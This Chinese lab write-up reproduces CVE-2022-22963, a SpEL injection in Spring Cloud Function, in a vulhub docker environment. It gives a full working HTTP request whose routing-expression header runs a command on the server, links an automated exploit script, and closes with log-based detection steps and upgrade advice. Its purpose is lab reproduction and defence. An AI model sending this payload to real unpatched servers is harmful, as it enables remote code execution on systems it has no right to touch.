Spring Clound Function Spel表达式注入漏洞(CVE-2022-22963)复现及排查

目录

概述

影响版本

漏洞复现

环境安装

漏洞利用

漏洞测试

获取Shell(针对Linux)

获取Shell(针对Windows)

应急排查

修复建议


概述

Spring框架为现代基于java的企业应用程序(在任何类型的部署平台上)提供了一个全面的编程和配置模型。

Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理,造成Spel表达式注入,攻击者可通过该漏洞执行任意代码。

影响版本

  • 3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
  • Spring Cloud Function <= 3.2.2
  • 官方不再支持的旧版本

漏洞复现

环境安装

docker环境一键启动

[root@localhost CVE-2022-22963]# docker-compose up -d
Starting cve-2022-22963_spring_1 ... done
[root@localhost CVE-2022-22963]# docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS         PORTS                                       NAMES
2090020c8e20   vulhub/spring-cloud-function:3.2.2   "java -Djava.securit…"   7 minutes ago   Up 6 seconds   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   cve-2022-22963_spring_1

浏览器访问:http://192.168.52.131:8080,出现如下界面即启动成功

 

漏洞利用

漏洞测试

构造payload:

POST /functionRouter HTTP/1.1
Host: 192.168.52.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

虽然返回500,但是已经执行成功

 

上传成功

 

获取Shell(针对Linux)

构造数据包:

 

获取Shell(针对Windows)

针对windows的getshell方式,参考如下,完整的自动化脚本:

https://github.com/k3rwin/spring-cloud-function-rce

 

应急排查

1、docker logs排查

因为我的靶场环境是docker 环境,所以通过”docker logs -f 容器id“能探查到一定痕迹。

回顾上面的利用过程,会发现请求的url是”functionRoute“和服务器返回的包状态码是500,故我们在日志中可以检测这两个关键字。

 

2、web访问日志

通过利用手法,可以检索web访问日志(如果有的话),搜索关键字”POST“ ”500“ ”functionRoute“

修复建议

升级到安全版本

  • Spring Cloud Function 3.1.7
  • Spring Cloud Function 3.2.3

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值